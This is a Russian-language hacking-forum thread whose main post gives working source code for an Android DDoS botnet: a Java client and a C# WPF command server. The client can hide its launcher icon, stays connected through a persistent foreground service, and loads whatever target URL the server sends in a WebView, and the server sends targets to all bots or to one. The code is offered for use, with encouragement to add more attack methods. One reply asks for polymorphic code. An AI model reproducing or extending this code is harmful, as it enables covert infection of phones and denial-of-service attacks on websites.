Загрузка...

DDoS Android Botnet + Android Client / Windows Server - Code

Тема в разделе Вирусология создана пользователем Nmz 19 сен 2024. 866 просмотров

Загрузка...
  1. Nmz
    Nmz Автор темы 19 сен 2024 45 31 июл 2023
    Всем привет :hi:


    Давно планировал написать эту статью, но времени из-за других моих проектов не было. Сейчас освободился и, наконец, решил написать статью о DDoS Botnet на Android.

    Для начала объясню, что такое DDoS Botnet в принципе, хотя не думаю, что это нуждается в объяснении, но в любом случае для статьи это нужно:

    DDoS-Botnet — это сеть заражённых устройств, управляемая злоумышленником для проведения распределённых атак
    типа отказа в обслуживании (DDoS — Distributed Denial of Service).
    В такой сети каждый заражённый компьютер (или любое другое устройство, например, смартфон под управлением Android,
    как в нашем случае) становится частью ботнета и получает команды от сервера, получая адреса целей для атаки.

    Мы будем делать не какой-то обычный HTTP Flood, работающий через запросы, а полноценную загрузку веб-ресурса, в нашем случае через WebView.
    Также я добавлю ещё один метод DDoS исключительно для примера — например, возьму ping, он самый простой в реализации, но и граничит с бесполезным.
    В любом случае это не важно, так как он будет добавлен как практический пример.
    В последствии заменить его на другие методы не будет проблемой для вас, если вы будете использовать код из статьи.
    • Для написания серверной части я буду использовать C# (.NET 4.8) и WPF разметку (Windows Presentation Foundation).
    • Для написания клиентской части буду использовать Java (A) и Groovy DSL (build.gradle) с минимальным API 28 (A9).
    Начну с кода Android клиента на Java.

    Для начала нам нужно определить разрешения в AndroidManifest.xml:

    JS
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />

    Также, если вы хотите, чтобы иконка вашего приложения не была видна, добавьте в Activity внутри AndroidManifest.xml следующее:


    JS
    <category android:name="android.intent.category.LEANBACK_LAUNCHER" />

    Так как в MainActivity.java у нас ничего не будет, кроме запуска нашего FOREGROUND_SERVICE, то его код будет выглядеть так:


    JS
    package com.nmz.DDoSBTest;

    import android.content.Intent;
    import android.os.Bundle;

    import androidx.appcompat.app.AppCompatActivity;

    public class MainActivity extends AppCompatActivity {


    @Override
    protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    Intent serviceIntent = new Intent(MainActivity.this, BackgroundWVService.class); //Запуск нашего сервиса до которого мы еще дойдем
    startService(serviceIntent);
    }
    }

    Ничего, кроме запуска сервиса, не происходит, но переходить я бы хотел не сразу к нему, а немного рассказать о том,
    как будет загружаться наша страница через WebView. Для этого в коде есть WebViewService.java, который имеет задачу
    загрузить страницу и в ADB отобразить информацию о ней вкратце.

    Код WebViewService.java:


    JS
    private WebView webView;

    @Override
    public void onCreate() {
    super.onCreate();
    webView = new WebView(this);
    webView.setWebViewClient(new CustomWebViewClient());
    webView.getSettings().setJavaScriptEnabled(true);
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
    String url = intent.getStringExtra("url");

    if (url != null) {

    if (!isValidUrl(url)) {
    url = "http://" + url;
    }

    Log.d(TAG, "Loading URL/IP in WebView: " + url);
    webView.loadUrl(url);
    } else {
    Log.e(TAG, "No URL/IP received");
    }

    return START_NOT_STICKY;
    }

    @Override
    public void onDestroy() {
    if (webView != null) {
    webView.destroy();
    }
    super.onDestroy();
    }

    @Override
    public IBinder onBind(Intent intent) {
    return null;
    }

    private boolean isValidUrl(String url) {
    return url.startsWith("http://") || url.startsWith("https://");
    }

    private class CustomWebViewClient extends WebViewClient {
    @Override
    public void onPageStarted(WebView view, String url, android.graphics.Bitmap favicon) {
    super.onPageStarted(view, url, favicon);
    Log.d(TAG, "Page loading: " + url);
    }

    @Override
    public void onPageFinished(WebView view, String url) {
    super.onPageFinished(view, url);
    Log.d(TAG, "Page finished loading: " + url);

    String title = view.getTitle();
    Log.d(TAG, "Page title: " + title);
    }

    @Override
    public void onReceivedHttpError(WebView view, WebResourceRequest request, android.webkit.WebResourceResponse errorResponse) {
    super.onReceivedHttpError(view, request, errorResponse);
    Log.e(TAG, "HTTP error for URL/IP: " + request.getUrl() + " Error code: " + errorResponse.getStatusCode());
    }

    @Override
    public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
    super.onReceivedError(view, errorCode, description, failingUrl);
    Log.e(TAG, "Error loading URL/IP: " + failingUrl + " Error code: " + errorCode + " Description: " + description);
    }
    }
    }

    Код загружает веб страницу в WebView и отображает краткое содержимое о ней.


    Теперь хотелось бы отметить код AttackerReceiverURLIP.java, который получает IP или URL сайта, затем проверяет его на валидность,
    и если получает IP без заголовка HTTP/HTPPS , то добавляет его и отправляет дальше в WebViewService.java.

    Код AttackerReceiverURLIP.java:

    JS
    public class AttackerReceiverURLIP extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
    String url = intent.getStringExtra("url");
    Log.d("UrlReceiver", "Received URL: " + url);
    if (url != null) {
    // Проверка и добавление префикса например если передан ip ну и проверочка
    if (!url.startsWith("http://") && !url.startsWith("https://")) {
    url = "https://" + url;
    }

    if (isValidUrl(url)) {
    Intent serviceIntent = new Intent(context, WebViewService.class);
    serviceIntent.putExtra("url", url);
    context.startService(serviceIntent);
    } else {
    Log.e("UrlReceiver", "Invalid URL received: " + url);
    }
    }
    }

    private boolean isValidUrl(String url) {
    return url != null && (url.startsWith("http://") || url.startsWith("https://"));
    }
    }


    Теперь стоит перейти к последнему сервису на стороне клиента — это BackgroundWVService.java, и вот, соответственно, его код:


    JS
    private static final String CHANNEL_ID = "DDoSForegroundServiceChannel";
    private Handler ReconnectServerHandler = new Handler(Looper.getMainLooper());
    private boolean isConnected = false;
    private Socket clientSocket;
    private BufferedReader input;
    private OutputStream output;


    @Override
    public void onCreate() { //инициализации в onCreate
    super.onCreate();

    createNotificationChannel();
    startForegroundService();
    connectToServer();

    }


    private void createNotificationChannel() { //13,14D требуют подобных извращений.
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
    CharSequence name = "Foreground Service";
    String description = "Channel";
    int importance = NotificationManager.IMPORTANCE_DEFAULT;
    NotificationChannel channel = new NotificationChannel(CHANNEL_ID, name, importance);
    channel.setDescription(description);
    NotificationManager notificationManager = getSystemService(NotificationManager.class);
    notificationManager.createNotificationChannel(channel);
    }
    }

    private void startForegroundService() {
    Intent notificationIntent = new Intent(this, MainActivity.class);
    PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);

    Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
    .setContentTitle("Foreground Service")
    .setContentText("Service is running in the background")
    .setSmallIcon(R.mipmap.ic_launcher)
    .setContentIntent(pendingIntent)
    .build();

    startForeground(1, notification);
    }
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
    return START_STICKY;
    }

    private void connectToServer() {
    new ConnectToServerTask().execute("127.0.0.1", "6666");//ip:p сервера
    }

    private class ConnectToServerTask extends AsyncTask<String, Void, Boolean> {
    private String serverIp;
    private int serverPort;

    @Override
    protected Boolean doInBackground(String... params) {
    serverIp = params[0];
    serverPort = Integer.parseInt(params[1]);

    while (!isConnected) {
    try {
    clientSocket = new Socket(serverIp, serverPort);
    input = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
    output = clientSocket.getOutputStream();
    isConnected = true;

    new ReceiveMessagesTask().start();
    } catch (Exception e) {
    Log.e("ConnectToServerTask", "Error connecting to server, retrying in 5 seconds", e);
    try {
    Thread.sleep(5000);
    } catch (InterruptedException ie) {
    Log.e("ConnectToServerTask", "Interrupted during reconnection delay", ie);
    }
    }
    }
    return false;
    }


    @Override
    protected void onPostExecute(Boolean result) {
    if (result) {
    Toast.makeText(getApplicationContext(), "Connected to the server", Toast.LENGTH_SHORT).show();
    } else {
    startReconnection();
    }
    }
    }

    private void startReconnection() {
    ReconnectServerHandler.postDelayed(() -> {
    if (!isConnected) {
    Log.d("Reconnection", "Attempting to reconnect...");
    connectToServer();
    }
    }, 5000);
    }

    private class SendMessageTask extends AsyncTask<String, Void, Void> {
    private static final int CHUNK_SIZE = 1024;
    private static final long DELAY_MS = 500;

    @Override
    protected Void doInBackground(String... messages) {
    try {
    if (isConnected && output != null) {
    for (String message : messages) {

    byte[] messageBytes = message.getBytes();
    int length = messageBytes.length;
    for (int i = 0; i < length; i += CHUNK_SIZE) {
    int end = Math.min(length, i + CHUNK_SIZE);
    output.write(messageBytes, i, end - i);
    output.flush();
    Thread.sleep(DELAY_MS);
    }
    }
    }
    } catch (Exception e) {
    Log.e("SendMessageTask", "Error sending message", e);
    }
    return null;
    }
    }

    private class ReceiveMessagesTask extends Thread {
    private final Handler uiHandler = new Handler(Looper.getMainLooper());

    @Override
    public void run() {
    try {
    while (isConnected) {
    String message = input.readLine();
    if (message != null) {
    if (isValidUrl(message)) {
    handleUrl(message);
    } else {
    uiHandler.post(() -> Toast.makeText(getApplicationContext(), "msg s: " + message, Toast.LENGTH_LONG).show());
    }
    }
    }
    } catch (Exception e) {
    Log.e("ReceiveMessagesTask", "Connection lost, attempting to reconnect", e);
    isConnected = false;
    startReconnection();
    }
    }
    }
    private void handleUrl(String url) {
    //Добавление http чтобы если например человек передал ip то мы перешли по нему как и по ссылке
    if (!url.startsWith("http://") && !url.startsWith("https://")) {
    url = "https://" + url;
    }

    Intent intent = new Intent(BackgroundWVService.this, WebViewService.class);
    intent.putExtra("url", url);
    startService(intent);
    }

    private boolean isValidUrl(String url) {
    try {
    Uri uri = Uri.parse(url);
    return uri.getScheme() != null && (uri.getScheme().equals("http") || uri.getScheme().equals("https"));
    } catch (Exception e) {
    return false;
    }
    }


    @Override
    public void onDestroy() {
    super.onDestroy();
    try {
    isConnected = false;
    if (clientSocket != null) {
    clientSocket.close();
    }
    } catch (Exception e) {
    Log.e("onDestroy", "Error closing socket", e);
    }
    }

    @Override
    public IBinder onBind(Intent intent) {
    return null;
    }
    }

    На этом код клиента закончен. Я не стал описывать некоторые и так понятные моменты, как, например, весь код Manifest или отправку конкретных
    данных на сервер, таких как версия Android или модель устройства, хотя вы можете легко их получить и по желанию отправить на сервер.


    JS
    AndroidVersion = "Android Version: " + Build.VERSION.RELEASE;
    SDeviceModel = "Device Model: " + Build.MODEL;

    Теперь, когда с кодом клиента всё более-менее понятно и что происходит на его стороне, можно приступить к коду сервера. На серверной стороне
    не будет билдера или каких-то наворотов — исключительно функционал отправки данных на сервер и принятия ответов от клиента.

    Код DDoServer:


    CSHARP
    public partial class MainWindow : Window
    {
    private ObservableCollection<ClientInfo> _clients;
    private TcpListener _server;
    private Thread _serverThread;
    private Thread _monitorThread;
    private int _serverPort = 4444; //стандартный порт прослушивания
    private Dictionary<string, string> _clientMessages;
    private volatile bool _isServerRunning;
    private ConcurrentDictionary<string, TcpClient> _connectedClients;

    public MainWindow()
    {
    InitializeComponent();
    _clients = new ObservableCollection<ClientInfo>(); //Инициализации
    clientsview.ItemsSource = _clients;
    _clientMessages = new Dictionary<string, string>();
    _connectedClients = new ConcurrentDictionary<string, TcpClient>();
    }

    Обработчик StartServer:


    CSHARP
    if (_serverThread != null && _serverThread.IsAlive)
    {
    MessageBox.Show("Server is already running.");
    return;
    }

    if (!int.TryParse(portTextBox.Text, out _serverPort))
    {
    MessageBox.Show("Invalid port number. Please enter a valid number.");
    return;
    }

    _serverThread = new Thread(StartServer);
    _serverThread.IsBackground = true;
    _serverThread.Start();

    _monitorThread = new Thread(MonitorClients);
    _monitorThread.IsBackground = true;
    _monitorThread.Start();
    }


    Методы / остальное:


    CSHARP
    private void StartServer()
    {
    try
    {
    _server = new TcpListener(IPAddress.Any, _serverPort);
    _server.Start();
    _isServerRunning = true;
    Dispatcher.Invoke(() => MessageBox.Show($"Server started on port {_serverPort}"));

    while (_isServerRunning)
    {
    if (_server.Pending())
    {
    TcpClient client = _server.AcceptTcpClient();
    IPEndPoint clientEndPoint = client.Client.RemoteEndPoint as IPEndPoint;

    if (clientEndPoint != null)
    {
    string clientIp = clientEndPoint.Address.ToString();


    if (_connectedClients.ContainsKey(clientIp))
    {

    if (_connectedClients.TryRemove(clientIp, out TcpClient oldClient))
    {
    oldClient.Close();
    }
    }

    if (_connectedClients.TryAdd(clientIp, client))
    {
    Dispatcher.Invoke(() =>
    {
    var existingClient = _clients.FirstOrDefault(c => c.IPAddress == clientIp);
    if (existingClient == null)
    {
    _clients.Add(new ClientInfo
    {
    IPAddress = clientIp,
    TcpClient = client
    });
    }
    else
    {

    existingClient.TcpClient = client;
    }
    MessageBox.Show($"New client connected: {clientIp}");
    });
    }


    Thread clientThread = new Thread(() => HandleClient(client, clientIp));
    clientThread.IsBackground = true;
    clientThread.Start();
    }
    }
    else
    {
    Thread.Sleep(100);
    }
    }
    }
    catch (SocketException ex)
    {
    if (ex.SocketErrorCode != SocketError.Interrupted)
    {
    Dispatcher.Invoke(() => MessageBox.Show($"Error: {ex.Message}"));
    }
    }
    catch (Exception ex)
    {
    Dispatcher.Invoke(() => MessageBox.Show($"Error: {ex.Message}"));
    }
    }


    private void HandleClient(TcpClient client, string clientIp)
    {
    try
    {
    NetworkStream stream = client.GetStream();
    byte[] buffer = new byte[1024];
    int bytesRead;

    while ((bytesRead = stream.Read(buffer, 0, buffer.Length)) > 0)
    {
    string message = Encoding.UTF8.GetString(buffer, 0, bytesRead);


    lock (_clientMessages)
    {
    _clientMessages[clientIp] = message;
    }


    SaveMessageToFile(clientIp, message);


    var lines = message.Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries);


    Dispatcher.Invoke(() =>
    {
    foreach (var line in lines)
    {
    if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp)
    {
    packetText.Text += line + Environment.NewLine;
    }
    }
    });
    }
    }
    catch (Exception ex)
    {
    Console.WriteLine($"Client error: {ex.Message}");
    }
    finally
    {

    Dispatcher.Invoke(() =>
    {
    try
    {
    lock (_clients)
    {

    var clientInfo = _clients.FirstOrDefault(c => c.IPAddress == clientIp);
    if (clientInfo != null)
    {
    _clients.Remove(clientInfo);
    }
    }


    lock (_clientMessages)
    {
    if (_clientMessages.ContainsKey(clientIp))
    {
    _clientMessages.Remove(clientIp);
    }
    }


    if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp)
    {
    packetText.Text = string.Empty;
    }
    }
    catch (Exception uiEx)
    {
    Console.WriteLine($"UI error: {uiEx.Message}");
    }
    });


    try
    {
    client.Close();
    }
    catch (Exception ex)
    {
    Console.WriteLine($"Error closing client connection: {ex.Message}");
    }
    }
    }


    private void MonitorClients()
    {
    while (_isServerRunning)
    {
    foreach (var kvp in _connectedClients.ToList())
    {
    string clientIp = kvp.Key;
    TcpClient client = kvp.Value;

    try
    {

    if (client.Client.Poll(0, SelectMode.SelectRead))
    {
    byte[] check = new byte[1];
    if (client.Client.Receive(check, SocketFlags.Peek) == 0)
    {

    Dispatcher.Invoke(() =>
    {

    var clientInfo = _clients.FirstOrDefault(c => c.IPAddress == clientIp);
    if (clientInfo != null)
    {
    _clients.Remove(clientInfo);
    }


    lock (_clientMessages)
    {
    if (_clientMessages.ContainsKey(clientIp))
    {
    _clientMessages.Remove(clientIp);
    }
    }

    if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp)
    {
    packetText.Text = string.Empty;
    }
    });

    _connectedClients.TryRemove(clientIp, out _);
    client.Close();
    }
    }
    }
    catch (Exception ex)
    {
    Console.WriteLine($"Error monitoring client {clientIp}: {ex.Message}");
    }
    }

    Thread.Sleep(5000);
    }
    }

    private void StopServer()
    {
    try
    {
    _isServerRunning = false;

    _server?.Stop();

    foreach (var clientInfo in _clients.ToList())
    {
    if (clientInfo.TcpClient != null && clientInfo.TcpClient.Connected)
    {
    clientInfo.TcpClient.Close();
    }
    }

    _serverThread?.Join();
    _monitorThread?.Join();
    Dispatcher.Invoke(() => MessageBox.Show("Server stopped successfully."));
    }
    catch (Exception ex)
    {
    Dispatcher.Invoke(() => MessageBox.Show($"Error stopping server: {ex.Message}"));
    }
    }

    Ну и под конец — код отправки информации на клиента:



    [CODE=csharp]string link = DDoSTx.Text;

    if (!string.IsNullOrWhiteSpace(link))
    {
    SendMessageToAllClients(link);
    }
    else
    {
    MessageBox.Show("Write Link.");
    }

    ---

    foreach (var clientInfo in _clients.ToList())
    {
    if (clientInfo.TcpClient != null && clientInfo.TcpClient.Connected)
    {
    try
    {
    NetworkStream stream = clientInfo.TcpClient.GetStream();
    byte[] buffer = Encoding.UTF8.GetBytes(message + "\n");
    stream.Write(buffer, 0, buffer.Length);
    stream.Flush();[/CODE]
    Также добавил код, который отправляет задачу на одного выбранного клиента из списка IP:



    [CODE=csharp] if (clientsview.SelectedItem is ClientInfo selectedClient)
    {
    string clientIp = selectedClient.IPAddress;

    if (_clientMessages.ContainsKey(clientIp))
    {
    string link = DDoSTx.Text;

    if (!string.IsNullOrWhiteSpace(link))
    {
    SendLinkToClient(clientIp, link);
    }
    else
    {
    MessageBox.Show("Write Link/Ip.");
    }
    }
    else
    {
    MessageBox.Show("Client not found.");
    }
    }
    else
    {
    MessageBox.Show("Select a client from the list of IP.");
    }
    }
    [/CODE]

    И метод для этого дела:


    [CODE=csharp]private void clientsview_SelectionChanged(object sender, SelectionChangedEventArgs e)
    {
    if (clientsview.SelectedItem is ClientInfo selectedClient)
    {
    if (_clientMessages.ContainsKey(selectedClient.IPAddress))
    {
    packetText.Text = _clientMessages[selectedClient.IPAddress];
    }[/CODE]

    [IMG]

    GUI панели сервера, написанной на WPF (Windows Presentation Foundation) (более новая версия, чем описана в статье), включает в себя разметку и дизайн, которые не были описаны в статье.
    В статье был представлен исключительно код без разметки и дизайна.


    Хочу подметить, что использовать такое можно только для веб-ресурсов в связи с логикой работы через WebView, но вы можете добавить свой код для других нужных вам методов атак.


    Благодарю за внимание! Если есть какие-то вопросы или дополнения, буду рад обсудить.

    Всех благ ! :hi:
     
    19 сен 2024 Изменено
  2. Nmz
    Nmz Автор темы 19 сен 2024 45 31 июл 2023
    код вставился как-то не так под конец статьи.
     
    1. Nmz Автор темы
      Nmz, попробовал поправить код но вставился опять также.
  3. firgeit
    firgeit 19 сен 2024 81 16 фев 2023
    ну куда столько
     
  4. Ризе
    Ризе 19 сен 2024 :peace: КУПЛЮ SUPERCELL - https://lolz.live/threads/8534452/ 11 203 13 мар 2021
    Хуй знает зачем посмотрел, но буду знать :lookface:
     
  5. Skittle_Chan
    Skittle_Chan 19 сен 2024 И в итоге я проиграл, всем и везде
    Doklsi приглашаем эксперта в студию для оценки
     
  6. Lucy
    Lucy 19 сен 2024 Накруточка - https://lolz.live/threads/7937337/ 6871 3 авг 2022
    Страшненько
     
  7. Kozhevnikov
    Kozhevnikov 19 сен 2024 13 21 авг 2020
    Топ чтиво под пивас :+rep:
     
  8. Apulap
    Apulap 22 сен 2024 0 12 ноя 2022
    люди добрые, кто шарит за полиморф и может сделать полиморфный код, по условиям в лс
     
Top